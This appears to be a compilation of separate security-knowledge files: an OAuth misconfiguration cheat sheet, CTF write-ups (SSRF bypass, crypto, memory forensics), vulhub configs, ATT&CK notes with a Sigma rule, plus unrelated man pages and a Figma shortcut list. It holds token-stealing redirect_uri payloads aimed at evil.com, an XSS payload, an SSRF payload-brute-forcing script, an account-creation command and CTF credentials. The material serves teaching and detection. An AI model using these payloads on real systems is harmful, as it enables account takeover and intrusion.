146478946 --- ## 待翻译: ### Information Gathering 信息收集 - [X] [Miranda](https://tools.kali.org/information-gathering/miranda) - [ ] [ntop](https://tools.kali.org/information-gathering/ntop) - [ ] [p0f](https://tools.kali.org/information-gathering/p0f) - [ ] [Parsero](https://tools.kali.org/information-gathering/parsero) - [ ] [Recon-ng](https://tools.kali.org/information-gathering/recon-ng) - [ ] [smtp-user-enum](https://tools.kali.org/information-gathering/smtp-user-enum) - [ ] [snmp-check](https://tools.kali.org/information-gathering/snmp-check) - [ ] [sslcaudit](https://tools.kali.org/information-gathering/sslcaudit) - [ ] [SSLsplit](https://tools.kali.org/information-gathering/sslsplit) - [ ] [SSLyze](https://tools.kali.org/information-gathering/sslyze)
sec-knowleage
# OAuth Misconfiguration ## Summary - [Stealing OAuth Token via referer](#stealing-oauth-token-via-referer) - [Grabbing OAuth Token via redirect_uri](#grabbing-oauth-token-via-redirect---uri) - [Executing XSS via redirect_uri](#executing-xss-via-redirect---uri) - [OAuth private key disclosure](#oauth-private-key-disclosure) - [Authorization Code Rule Violation](#authorization-code-rule-violation) - [Cross-Site Request Forgery](#cross-site-request-forgery) - [References](#references) ## Stealing OAuth Token via referer From [@abugzlife1](https://twitter.com/abugzlife1/status/1125663944272748544) tweet. > Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer ## Grabbing OAuth Token via redirect_uri Redirect to a controlled domain to get the access token ```powershell https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com ``` Redirect to an accepted Open URL in to get the access token ```powershell https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F ``` OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” can’t be pointed to an Open Redirect. Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri: ```powershell https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com ``` ## Executing XSS via redirect_uri ```powershell https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script> ``` ## OAuth private key disclosure Some Android/iOS app can be decompiled and the OAuth Private key can be accessed. ## Authorization Code Rule Violation > The client MUST NOT use the authorization code more than once. If an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on that authorization code. ## Cross-Site Request Forgery Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks. > The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request. ## Labs * [Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow) * [Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking) * [OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri) * [Stealing OAuth access tokens via a proxy page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page) * [Stealing OAuth access tokens via an open redirect](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect) ## References * [All your Paypal OAuth tokens belong to me - localhost for the win - INTO THE SYMMETRY](http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html) * [OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token) - INTO THE SYMMETRY](http://intothesymmetry.blogspot.ch/2014/04/oauth-2-how-i-have-hacked-facebook.html) * [How I hacked Github again. - Egor Homakov](http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html) * [How Microsoft is giving your data to Facebook… and everyone else - Andris Atteka](http://andrisatteka.blogspot.ch/2014/09/how-microsoft-is-giving-your-data-to.html) - [Bypassing Google Authentication on Periscope's Administration Panel](https://whitton.io/articles/bypassing-google-authentication-on-periscopes-admin-panel/) By Jack Whitton
sec-knowleage
version: '2' services: jboss: image: vulhub/jboss:as-6.1.0 ports: - "9990:9990" - "8080:8080"
sec-knowleage
# Made by baby (for, 141p, 29 solved) This was a very nice, and not so trivial crypto challenge. In the end it turned out very simple, but nothing really suggested that, so we did a bit of an overkill here. In the challenge we get [encryption code](babymade.py) and [encrypted flag](flag.enc) to work with. We can see that the flag is supposed to be a PNG file. The encryption code is rather simple: ```python from secret import exp, key def encrypt(exp, num, key): assert key >> 512 <= 1 num = num + key msg = bin(num)[2:][::-1] C, i = 0, 1 for b in msg: C += int(b) * (exp**i + (-1)**i) i += 1 try: enc = hex(C)[2:].rstrip('L').decode('hex') except: enc = ('0' + hex(C)[2:].rstrip('L')).decode('hex') return enc ``` We can see that secret `key` parameter is at most 512 bits long, so it will modify only the lowest 128 bytes of the PNG. This shouldn't be an issue - we can replace the broken PNG trailer, and the picture should be still fine. The encryption itself is performed bit by bit, in reverse bit order. If `i-th` bit is lighted, then we add `exp**i` to the accumulator and we also add `(-1)**i`. The second part with `-1` shouldn't be much of an issue, because assuming a nice random bits distribution in the data, we should get roughly the same number of `1` and `-1` and they should more-or-less even out in the end. The final encrypted payload is, therefore, a polynomial `exp**i + exp**j + exp**k +.... -+C` where `C` is some small number and `i<j<k<...` We don't know exactly which powers are present in the polynomial. It's easy to notice that if we remove the `C` value, then the whole polynomial has to be divisible by `exp`! And if we divide it by `exp` then the division remainder has to be either `0` or `1`, depending if the divided polynomial contained `exp` in first power or not. This is a very strong property, because apart from the case when `exp=2`, it simply won't hold for the wrong number over large number of terms. So our solution approach is as follows: 1. Loop over some small range of values we consider possible for `C` and add/subtract this value from the encrypted payload, hoping to get a clean polynomial. We assumed `+-1024`. 2. Factor the polynomial up to some reasonable primes. We assumed primes up to `2*20`. 3. For all possible composite numbers created from primes we got, we check if our property with division remainders hold. If it holds, then we extract the bits. 4. We then invert the bits, combine a byte stream and check if PNG header strings `PNG` and `IHDR` are present. 5. If they are, then we overwrite the PNG trailer section and save this as a png file. We run this in paralell, but immediately get back first result for `C = 17` and `exp = 3`: [result](out17_3.png) It's a bit broken, but most image viewers can handle it. For our defence, nothing really indicated that `exp` would be so tiny! So the flag is: `ASIS{n3w_g1f7_by_babymade_in_ASIS!!!}` Whole solver [here](solver.py)
sec-knowleage
# Translation As A Service * Category: Web Application * 750 Points * Solved by the JCTF Team ## Description > Moving from one language to another can be rather difficult. Translation As A Service is a system that will allow you to smoothly use our own custom and unique translation algorithm, to transition from your own language to another. > > http://translate.challenges.bsidestlv.com/ ## Solution We access the site and see a user interface which allows translating fron English to Spanish: ![](images/translate.png) For example: ```console root@kali:/media/sf_CTFs/bsidestlv/Translation_As_A_Service# curl http://translate.challenges.bsidestlv.com/api/translate?text=test {"status":200,"content":"prueba"} ``` After playing around a bit, it appeared that the service is vulnerable to [SSRF](https://en.wikipedia.org/wiki/Server-side_request_forgery): ```console root@kali:/media/sf_CTFs/bsidestlv/Translation_As_A_Service# curl http://translate.challenges.bsidestlv.com/api/translate?text=http://example.com {"status":200,"content":"<!doctype html>\n<html>\n<head>\n <title>Example Domain<\/title>\n\n <meta charset=\"utf-8\" \/>\n <meta http-equiv=\"Content-type\" content=\"text\/html; charset=utf-8\" \/>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" \/>\n <style type=\"text\/css\">\n body {\n background-color: #f0f0f2;\n margin: 0;\n padding: 0;\n font-family: \"Open Sans\", \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n \n }\n div {\n width: 600px;\n margin: 5em auto;\n padding: 50px;\n background-color: #fff;\n border-radius: 1em;\n }\n a:link, a:visited {\n color: #38488f;\n text-decoration: none;\n }\n @media (max-width: 700px) {\n body {\n background-color: #fff;\n }\n div {\n width: auto;\n margin: 0 auto;\n border-radius: 0;\n padding: 1em;\n }\n }\n <\/style> \n<\/head>\n\n<body>\n<div>\n <h1>Example Domain<\/h1>\n <p>This domain is established to be used for illustrative examples in documents. You may use this\n domain in examples without prior coordination or asking for permission.<\/p>\n <p><a href=\"http:\/\/www.iana.org\/domains\/example\">More information...<\/a><\/p>\n<\/div>\n<\/body>\n<\/html>\n"} ``` We can see that if we request a URI, we get the source code. What if we try to access localhost? ```console root@kali:/media/sf_CTFs/bsidestlv/Translation_As_A_Service# curl http://translate.challenges.bsidestlv.com/api/translate?text=http://localhost {"status":400,"content":"\n <html>\n <body>\n <h1>Our SuperWAF has detected suspicous behaviour...<\/h1>\n <\/body>\n <\/html>\n "} ``` The request is being blocked by a WAF. If it's based on a blacklist, we might be able to bypass it using a different way to express localhost. [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) is very helpful with this. We can use the following Python script to try anything that looks like a URI from the cheat sheet: ```python import requests ssrf_list = requests.get("https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Server%20Side%20Request%20Forgery/README.md") blacklist = ["SuperWAF", "no content", "Internal Server Error"] for line in ssrf_list.text.split("\n"): if line.startswith("http"): print ("Attempting: '{}'".format(line)) r = requests.get("http://translate.challenges.bsidestlv.com/api/translate?text={}".format(line.rstrip())) if not any([blacklist_item in r.text for blacklist_item in blacklist]): print (r.text) break ``` The output: ```console root@kali:/media/sf_CTFs/bsidestlv/Translation_As_A_Service# python ssrf.py Attempting: 'http://127.0.0.1:80' Attempting: 'http://127.0.0.1:443' Attempting: 'http://127.0.0.1:22' Attempting: 'http://0.0.0.0:80' Attempting: 'http://0.0.0.0:443' Attempting: 'http://0.0.0.0:22' Attempting: 'http://localhost:80' Attempting: 'http://localhost:443' Attempting: 'http://localhost:22' Attempting: 'https://127.0.0.1/' Attempting: 'https://localhost/' Attempting: 'http://[::]:80/' Attempting: 'http://[::]:25/ SMTP' Attempting: 'http://[::]:22/ SSH' Attempting: 'http://[::]:3128/ Squid' Attempting: 'http://0000::1:80/' Attempting: 'http://0000::1:25/ SMTP' Attempting: 'http://0000::1:22/ SSH' Attempting: 'http://0000::1:3128/ Squid' Attempting: 'http://localtest.me' Attempting: 'http://customer1.app.localhost.my.company.127.0.0.1.nip.io' Attempting: 'http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost' Attempting: 'http://bugbounty.dod.network redirect to 127.0.0.2 == localhost' Attempting: 'http://127.127.127.127' Attempting: 'http://127.0.1.3' Attempting: 'http://127.0.0.0' Attempting: 'http://0177.0.0.1/' {"status":200,"content":"\n <html>\n <body>\n <h1>Congratz!!!<\/h1>\n <p>BSidesTLV{S$RF-1N-TR4NSLAT3-!Z-S0-KEWL!}<\/p>\n <\/body>\n <\/html>\n "} ``` Octal representation did the trick. The flag: BSidesTLV{S$RF-1N-TR4NSLAT3-!Z-S0-KEWL!}
sec-knowleage
#!/usr/bin/env python import sys import os import socket import pickle import base64 import marshal import types import inspect import encodings.string_escape class Flag(object): def __init__(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("172.17.0.1", 1234)) self.flag = s.recv(1024).strip() s.close() flag = Flag() from seccomp import * f = SyscallFilter(KILL) f.add_rule_exactly(ALLOW, "read") f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stdout.fileno())) f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stderr.fileno())) f.add_rule_exactly(ALLOW, "close") f.add_rule_exactly(ALLOW, "exit_group") f.add_rule_exactly(ALLOW, "open", Arg(1, EQ, 0)) f.add_rule_exactly(ALLOW, "stat") f.add_rule_exactly(ALLOW, "lstat") f.add_rule_exactly(ALLOW, "lseek") f.add_rule_exactly(ALLOW, "fstat") f.add_rule_exactly(ALLOW, "getcwd") f.add_rule_exactly(ALLOW, "readlink") f.add_rule_exactly(ALLOW, "mmap", Arg(3, MASKED_EQ, 2, 2)) f.add_rule_exactly(ALLOW, "munmap") f.load() data = os.read(0, 4096) try: res = pickle.loads(data) print 'res: %r\n' % res except Exception as e: print >>sys.stderr, "exception", repr(e) os._exit(0)
sec-knowleage
version: '2' services: activemq: image: vulhub/activemq:5.11.1-with-cron ports: - "61616:61616" - "8161:8161"
sec-knowleage
--- title: Figma date: 2022-11-23 16:23:31.706507 background: bg-[#935aee] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 119 keyboard shortcuts found in Figma --- Keyboard Shortcuts ------------------ ### Essential Shortcut | Action ---|--- `Ctrl` `\` | Show/Hide UI `Ctrl` `C` | Pick Color `Ctrl` `/` | Search Menu {.shortcuts} ### Tools Shortcut | Action ---|--- `V` | Move Tool `F` | Frame Tool `P` | Pen Tool `Shift` `P` | Pencil Tool `T` | Text Tool `R` | Rectangle Tool `O` | Ellipse Tool `L` | Line Tool `Shift` `L` | Arrow Tool `C` | Add/Show Comments `Ctrl` `C` | Pick Color `S` | Slice Tool {.shortcuts} ### View Shortcut | Action ---|--- `Shift` `R` | Toggle Rulers `Ctrl` `Y` | Show Outlines `Ctrl` `P` | Pixel Preview `Ctrl` `G` | Layout Grids `Ctrl` `'` | Pixel Grid `Ctrl` `\` | Show/Hide UI `Ctrl` `Alt` `\` | Show Multiplayer Cursors `Alt` `1` | Show Layers `Alt` `2` | Show Components `Alt` `3` | Show Team Library {.shortcuts} ### Zoom Shortcut | Action ---|--- `Space` `(drag)` | Pan `+` | Zoom In `-` | Zoom Out `Shift` `0` | Zoom to 100% `Shift` `1` | Zoom to Fit `Shift` `2` | Zoom to Selection `Shift` `N` | Zoom to Previous Frame `N` | Zoom to Next Frame `PgUp` | Previous Page `PgDown` | Next Page `Home` | Find Previous Frame `End` | Find Next Frame {.shortcuts} ### Text Shortcut | Action ---|--- `Ctrl` `B` | Bold `Ctrl` `I` | Italic `Ctrl` `U` | Underline `Ctrl` `Shift` `V` | Paste and Match Style `Ctrl` `Alt` `L` | Text Alight Left `Ctrl` `Alt` `T` | Text Align Center `Ctrl` `Alt` `R` | Text Align Right `Ctrl` `Alt` `J` | Text Align Justified `Ctrl` `Shift` `</>` | Adjust Font Size `Alt` `,/.` | Adjust Letter Spacing `Alt` `Shift` `</>` | Adjust Line Height {.shortcuts} ### Shape Shortcut | Action ---|--- `P` | Pen `Shift` `P` | Pencil `B` | Paint Bucket (while editing shape) `Ctrl` | Bend Tool (while editing shape) `Alt` `/` | Remove Fill `/` | Remove Stroke `Shift` `X` | Swap Fill and Stroke `Ctrl` `Shift` `O` | Outline Stroke `Ctrl` `E` | Flatten Selection `Ctrl` `J` | Join Selection (after selecting points) `Ctrl` `Shift` `J` | Smooth Join Selection (after selecting points) `Shift` `Backspace` | Delete and Heal Selection (after selecting points) {.shortcuts} ### Selection Shortcut | Action ---|--- `Ctrl` `A` | Select All `Ctrl` `Shift` `A` | Select Inverse `Esc` | Select None `Ctrl` `(click)` | Deep Select `Ctrl` `(right click)` | Select Layer Menu `Enter` | Select Child `Shift` `Enter` | Select Parents `Tab` | Select Next Sibling `Shift` `Tab` | Select Previous Sibling `Ctrl` `G` | Group Selection `Ctrl` `Shift` `G` | Ungroup Selection `Ctrl` `Alt` `G` | Frame Selection `Ctrl` `Shift` `H` | Show/Hide Selection `Ctrl` `Shift` `L` | Lock/Unlock Selection {.shortcuts} ### Cursor Shortcut | Action ---|--- `Alt` | Measure to Selection (while pointing) `Alt` | Duplicate Selection (while moving) `Ctrl` `(click)` | Deep Select (while clicking) `Ctrl` `(right click)` | Select Layer Menu (while clicking) `Ctrl` `(drag)` | Deep Select Within Rectangle (while dragging to select) `Alt` | Resize from Center (while resizing) `Shift` | Resize Proportionally (while resizing) `Space` | Move While Resizing `Ctrl` | Ignore Constraints (Frames Only) {.shortcuts} ### Edit Shortcut | Action ---|--- `Ctrl` `C` | Copy `Ctrl` `X` | Cut `Ctrl` `V` | Paste `Ctrl` `Shift` `V` | Paste Over Selection `Ctrl` `D` | Duplicate Selection in Place `Ctrl` `R` | Rename Selection `Ctrl` `Shift` `E` | Export `Ctrl` `Alt` `C` | Copy Properties `Ctrl` `Alt` `V` | Paste Properties {.shortcuts} ### Transform Shortcut | Action ---|--- `Shift` `H` | Flip Horizontal `Shift` `V` | Flip Vertical `Ctrl` `M` | Use as Mask `Enter` | Edit Shape or Image `Ctrl` `Shift` `K` | Place Image `Alt` `(click x2)` | Crop Image `1` | Set Opacity to 10% `5` | Set Opacity to 50% `0` | Set Opacity to 100% {.shortcuts} ### Arrange Shortcut | Action ---|--- `Ctrl` `]` | Bring Forward `Ctrl` `[` | Send Backward `Ctrl` `Alt` `]` | Bring to Front `Ctrl` `Alt` `[` | Send to Back `Alt` `A` | Align Left `Alt` `D` | Align Right `Alt` `W` | Align Top `Alt` `S` | Align Bottom `Alt` `H` | Align Horizontal Centers `Alt` `V` | Align Vertical Centers `Ctrl` `Alt` `T` | Tidy Up `Ctrl` `Alt` `H` | Distribute Horizontal Spacing `Ctrl` `Alt` `V` | Distribute Vertical Spacing {.shortcuts} ### Components Shortcut | Action ---|--- `Alt` `2` | Show Components `Ctrl` `Shift` `O` | Team Library `Ctrl` `Shift` `K` | Create Component `Ctrl` `Shift` `B` | Detach Instance `Alt` | Swap Component Instance (while dragging from Assets) {.shortcuts} Also see -------- - [Keyboard shortcuts for Figma](https://help.figma.com/article/77-keyboard-shortcuts) _(help.figma.com)_
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH BASENAME 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 basename \- 去除文件名中的目录与后缀 .SH 概述 \fBbasename\fP \fI\,名称 \/\fP[\fI\,后缀\/\fP] .br \fBbasename\fP \fI\,选项\/\fP... \fI\,名称\/\fP... .SH 描述 .\" Add any additional description here .PP 打印已经移除所有目录相关信息后的(文件)名称。若特别指定,则同时移除指定的后缀名。 .PP 必选参数对长短选项同时适用。 .TP \fB\-a\fP, \fB\-\-multiple\fP 支持多个参数,把每个参数看作一个(文件)名称来处理。 .TP \fB\-s\fP, \fB\-\-suffix\fP=\fI\,后缀\/\fP 移除后缀;同时隐含 \fB\-a\fP .TP \fB\-z\fP, \fB\-\-zero\fP 使每行输出以 NUL 字符结束,不添加换行符 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SH 范例 .TP basename /usr/bin/sort \-> "sort" .TP basename include/stdio.h .h \-> "stdio" .TP basename \-s .h include/stdio.h \-> "stdio" .TP basename \-a any/str1 any/str2 \-> "str1" 后接 "str2" .SH 作者 由 David MacKenzie 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 \fBdirname\fP(1), \fBreadlink\fP(1) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/basename> .br 或者在本地使用: info \(aq(coreutils) basename invocation\(aq
sec-knowleage
# misc 04 We're given a huge binary file `kevin_mitnick.raw`. Let's see what we can find out. ``` $ file kevin_mitnick.raw kevin_mitnick.raw: data $ ls -lah kevin_mitnick.raw -rw-r--r-- 1 chivay chivay 2.0G Jan 4 18:21 kevin_mitnick.raw ``` Well, nothing interesting. Could be a disk image or a VM memory dump. Time for the almighty `strings` (don't forget to try `strings -el`!). Trying different lengths and encodings suggests that we're dealing with a Windows memory dump. But which version? ``` $ strings kevin_mitnick.raw -n 10| grep -i "windows 10" Windows 10 Windows 10 Pro 6.3 <!-- Windows 10 --> Windows 10, 64-bit (Build 10240) [...] ``` Ok, time for `volatility`. And since we're lazy: ``` export VOLATILITY_PROFILE=Win10x64_10240_17770 export VOLATILITY_LOCATION=file://kevin_mitnick.raw ``` Let's see what's currently running: ``` $ volatility pstree [...] ... 0xffffe001e0270080:chrome.exe 5344 3188 26 0 2019-12-04 17:27:41 UTC+0000 .... 0xffffe001e0a66080:chrome.exe 4128 5344 10 0 2019-12-22 14:50:51 UTC+0000 .... 0xffffe001e303d300:chrome.exe 4144 5344 10 0 2019-12-22 14:49:41 UTC+0000 .... 0xffffe001e1ccc840:chrome.exe 6324 5344 10 0 2019-12-22 14:51:15 UTC+0000 .... 0xffffe001e3142840:chrome.exe 7008 5344 10 0 2019-12-22 14:53:51 UTC+0000 .... 0xffffe001e031c840:chrome.exe 6332 5344 10 0 2019-12-22 14:51:16 UTC+0000 .... 0xffffe001e1583080:chrome.exe 6256 5344 11 0 2019-12-22 14:53:19 UTC+0000 .... 0xffffe001e0bd63c0:chrome.exe 2220 5344 10 0 2019-12-22 14:49:57 UTC+0000 .... 0xffffe001e0a79080:chrome.exe 2172 5344 7 0 2019-12-04 17:33:48 UTC+0000 [...] ``` There are some typical Windows services and a Chrome instance. Fortunately there are some volatility plugins for Chrome analysis. I've used https://github.com/superponible/volatility-plugins. ``` $ volatility --plugins ./volatility-plugins/ chromehistory | grep -i necsoft Volatility Foundation Volatility Framework 2.6.1 [...] 72 ftp://necsoftwares.com/ Index of / 73 ftp://necsoftwares.com/sourcecode/ Index of /sourcecode/ [...] ``` Some of the entries that stand out among things like logging into Gmail, googling Kevin Mitnick are entries 72 and 73 which access an FTP server. What's even more suspicious is that the service is not responding, because the domain is pointing at `1.1.1.1`. Time for some DNS archeology. Searching for the history of `necsoftwares.com` domain we can find the original IP address - `172.104.71.146`, last seen on `2019-12-30`. FTP server is working, however login and password is required. We have to dig deeper. We can dump Chrome memory and look for credentials. ``` $ volatility memdump -p 5344 -D ./chrome-dump ``` Grepping the strings for `ftp://necsoftwares.com`, we can find: ``` ftp://necsoftwares.com com.ftp://necsoftwares kev1n_mitn1ck Socia1_engin33ring_c4n_g3t_ev3rything - ftp ``` On the FTP server there's only one file - `sourcecode/nec2dx.f` with the flag: ``` WhiteHat{SHA1(G00D_J0B_Y0u4r3Dump5oExcellen7)} ```
sec-knowleage
### 在内存中直接搜索 flag方法介绍 **Initial RAM disk**(`initrd`)提供了在 boot loader 阶段载入一个 RAM disk 并挂载为根文件系统的能力,从而在该阶段运行一些用户态程序,在完成该阶段工作之后才是挂载真正的根文件系统。 initrd 文件系统镜像通常为 gzip 格式,在启动阶段由 boot loader 将其路径传给 kernel,自 2.6 版本后出现了使用 cpio 格式的initramfs,从而无需挂载便能展开为一个文件系统。 initrd/initramfs 的特点便是**文件系统中的所有内容都会被读取到内存当中**,而大部分 CTF 中的 kernel pwn 题目都选择直接将 initrd 作为根文件系统,因此若是我们有着内存搜索能力,我们便能**直接在内存空间中搜索 flag 的内容** :)
sec-knowleage
# T1098-win-账户操作 ## 来自ATT&CK的描述 帐户操作可以帮助攻击者维持在环境中对凭据和某些权限级别的访问。账户操作可能包括修改权限,修改凭据,添加或更改权限组,修改帐户设置或修改执行身份验证等方式。为了创建或操纵帐户,攻击者必须已经对系统或域具有足够的权限。 ## 测试案例 使用windows系统自身的一些安全进程(CMD/Powershell等)来执行这些操作,也可以利用一些经典的工具来进行账户操作(mimikatz等)。前提是你已经对系统或者域具有足够的权限。 ## 检测日志 windows 安全日志 ## 测试复现 ```dos C:\Windows\system32>net user test321 Test.321 /add 命令成功完成。 ``` ## 测试留痕 windows安全事件ID,多事件关联分析 ## 检测规则/思路 ### Sigma规则 ```yml title: Net.exe创建本地用户 status: 测试阶段 description: 通过创建本地用户net.exe文件命令 tags: - attack.t1098 logsource: category: process_creation product: windows detection: selection: Eventid: - 4688 #进程创建,windows 安全日志,Windows server 2012及以上版本配置相关审核策略,可记录系统命令行参数 - 1 #进程创建,Windows sysmon日志,需要自行安装并配置sysmon Image|endswith: - '\net.exe' - '\net1.exe' CommandLine|contains|all: - 'user' - 'add' condition: selection fields: - ComputerName - User - CommandLine falsepositives: - Legit user creation - Better use event ids for user creation rather than command line rules level: medium ``` ### 建议 无 ## 参考推荐 MITRE-ATT&CK-T1098 <https://attack.mitre.org/techniques/T1098/>
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH USERS 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 users \- 显示登录在当前主机上的用户名称 .SH 概述 \fBusers\fP [\fI\,选项\/\fP]... [\fI\,文件\/\fP] .SH 描述 .\" Add any additional description here .PP 根据文件判断并输出当前有谁正登录在系统上。如果文件未予指定,则使用 \fI\,/var/run/utmp\/\fP。\fI\,/var/log/wtmp\/\fP 是常用的指定文件。 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SH 作者 由 Joseph Arceneaux 和 David MacKenzie 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 \fBgetent\fP(1), \fBwho\fP(1) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/users> .br 或者在本地使用: info \(aq(coreutils) users invocation\(aq
sec-knowleage
##Kick Tort Teen (Forensics, 50p) Anagram, anyone? [Download](data.xls) ###ENG [PL](#pl-version) We start by converting the xls file to csv. Then we load up the values into a python script that counts the number occurences: ```python occurences = [] for i in range(1000): occurences.append(0) for y in data: for x in y: occurences[x]=occurences[x]+1 for i in range(len(occurences)): print(i, occurences[i])` ``` It turns out that there are 256 different numbers in the file, let's try swapping each number with its index in the list of all numbers that appear in the file. [decode.cpp](decode.cpp) We get a ELF file that prints out the flag: `SharifCTF{5bd74def27ce149fe1b63f2aa92331ab}` ###PL version Pierwsze co zrobimy to przekonwertujemy spredsheeta do csv. Wartości wczytamy do prostego programu w pythonie zwracającego wystąpienia poszczególnych liczb: ```python occurences = [] for i in range(1000): occurences.append(0) for y in data: for x in y: occurences[x]=occurences[x]+1 for i in range(len(occurences)): print(i, occurences[i])` ``` Okazuje się, że w pliku znajduje się 256 różnych liczb, spróbujmy zatem zastąpić każdą liczbę jej pozycją w liście wszystkich liczb które występują w tekście. [decode.cpp](decode.cpp) Dostajemy plik ELF który po uruchomieniu wypisuje nam flagę: `SharifCTF{5bd74def27ce149fe1b63f2aa92331ab}`
sec-knowleage
# T1588-001-获取能力-恶意软件 ## 来自ATT&CK的描述 攻击者可能会购买、窃取或下载可在攻击目标过程使用的恶意软件。恶意软件可能包括有效载荷、植入程序、后渗透工具、后门程序、加壳程序和C2协议。攻击者可能会获取恶意软件来支持他们的行动,获得一种维持对远程机器的控制、逃避防御和攻陷后行为的手段。 除了从互联网上下载免费的恶意软件外,攻击者还可能从第三方实体购买这些恶意软件。第三方实体可以包括专门从事恶意软件开发的技术公司、犯罪市场(包括恶意软件即服务,或称MaaS),或来自个人。除了购买恶意软件外,攻击者还可能从第三方实体(包括其他攻击者)窃取和重新使用恶意软件。 ## 测试案例 暂无 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 这种活动大多发生在目标组织的能见度之外,使得对这种行为的检测变得困难。检测工作可能集中在攻击生命周期中的破坏后阶段。 ## 相关TIP [[T1588-002-获取能力-工具]] [[T1588-003-获取能力-代码签名证书]] [[T1588-004-获取能力-数字证书]] [[T1588-005-获取能力-漏洞利用]] [[T1588-006-获取能力-漏洞]] ## 参考推荐 MITRE-ATT&CK-T1588-001 <https://attack.mitre.org/techniques/T1588/001/>
sec-knowleage
# md5(coll) * Category: Misc. * 200 Points * Solved by the JCTF Team ## Description > A picture is worth a thousand words, and a flag too. ```python from socket import timeout from tkinter.tix import TEXT from flask import Flask, jsonify, make_response, request, render_template, url_for import os import sys import io import hashlib import requests import tempfile import subprocess from PIL import Image, ImageChops, ImageOps app = Flask(__name__) FLAG = r"INTENT{flag_goes_here}" TEXT_SEARCH = "INTENT, give me the flag" def save_image(im): if im.format == "GIF": final_image = im.convert("1") for frame_num in range(im.n_frames): im.seek(frame_num) final_image = ImageChops.logical_and(final_image, im.convert("1")) im = final_image else: im = im.convert("1") temp_file_path = tempfile.NamedTemporaryFile(suffix='.jpg').name im = im.resize((im.size[0]*4, im.size[1]*4), Image.ANTIALIAS) im.save(temp_file_path) return temp_file_path @app.route('/') def index(): img_url = request.args.get("imgurl", "") if img_url == "": return render_template('index.html') else: out_text = "" try: resp = requests.get(img_url, timeout=10, stream=True, verify=False) img_content = resp.raw.read(int(1024 * 1024 * 0.2)) img_pil = Image.open(io.BytesIO(img_content)) md5_str = hashlib.md5(img_content).hexdigest() out_text += f"[-] Got {len(img_content)} bytes for image type '{img_pil.format}' with MD5 hash: {md5_str}<br>" saved_jpg_path = save_image(img_pil) process = subprocess.Popen(["tesseract", saved_jpg_path, "stdout"], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL) image_text = process.stdout.read().decode() img_processing = f"OCR SAYS: {image_text}" if 